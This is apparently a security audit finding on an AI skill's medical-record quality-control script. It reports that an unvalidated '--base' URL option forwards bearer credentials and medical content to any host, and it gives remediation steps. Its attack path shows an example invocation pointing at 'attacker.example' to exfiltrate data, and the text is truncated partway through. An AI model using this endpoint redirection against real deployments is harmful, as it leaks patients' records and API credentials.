T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/emr_qc_impl.py:59
- Finding
- Configurable API Endpoint Can Exfiltrate Medical Data and Bearer Credentials<![CDATA[ ## Vulnerability Details **File Location**: `scripts/emr_qc_impl.py:59-66` **Vulnerability Type**: Unrestricted external endpoint configuration and credential disclosure **Risk Level**: High ### Code Evidence ```python def make_llm_caller(appkey: str, base: str = DEFAULT_LLM_BASE, model: str = DEFAULT_LLM_MODEL, timeout: int = 0): """返回一个 llm(messages) → str 的调用函数。""" url = f"{base.rstrip('/')}/chat/completions" headers = {"Authorization": f"Bearer {appkey}"} def llm(messages: List[Dict[str, str]]) -> str: payload = {"model": model, "messages": messages, "temperature": 0} resp = _http_post(url, payload, headers, timeout=timeout) ``` The destination is exposed directly through command-line arguments: ```python parser.add_argument( "--base", default=DEFAULT_LLM_BASE, help=f"大模型 base URL(默认:{DEFAULT_LLM_BASE})。", ) ``` This occurs in `scripts/emr_qc.py:25-28` and `scripts/run.py:51-54`. ### Technical Analysis The user-controlled `base` value is directly concatenated with `/chat/completions`. The resulting URL receives both: 1. The API credential in the `Authorization: Bearer` header. 2. Medical-record content in the request payload. The implementation does not enforce HTTPS, validate the destination hostname, restrict ports, reject loopback or private-network addresses, or ensure that the configured endpoint belongs to HiVoice. Redirect behavior is also not explicitly restricted. Consequently, a malicious command, wrapper, configuration, or copied invocation can direct the request to an attacker-controlled service. The same behavior may also be used to issue authenticated requests to local or internal HTTP services, although exploitation depends on the services available from the execution environment. ### Attack Path 1. An attacker convinces an operator or automation system to invoke the Skill with a malicious option such as `--base http://attacker.example/v1`. 2. The operator supplies a legitimate H ...[truncated 942 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Remove the `--base` option from normal production use and use a fixed, trusted endpoint. 2. If endpoint customization is required, parse the URL and enforce an allowlist of approved HTTPS hostnames and ports. 3. Reject HTTP, URL user information, loopback addresses, link-local addresses, private-network destinations, and unapproved resolved IP addresses. 4. Disable redirects or verify that every redirect remains on the approved origin before forwarding the bearer credential. 5. Use a destination-scoped credential with minimum privileges, limited quota, and short validity. 6. Do not forward the credential when the destination differs from the configured trusted origin. 7. Add explicit confirmation and security logging for endpoint overrides without recording the credential or medical content. 8. Add tests covering HTTP URLs, alternate ports, DNS rebinding, private addresses, and cross-origin redirects. ]]>
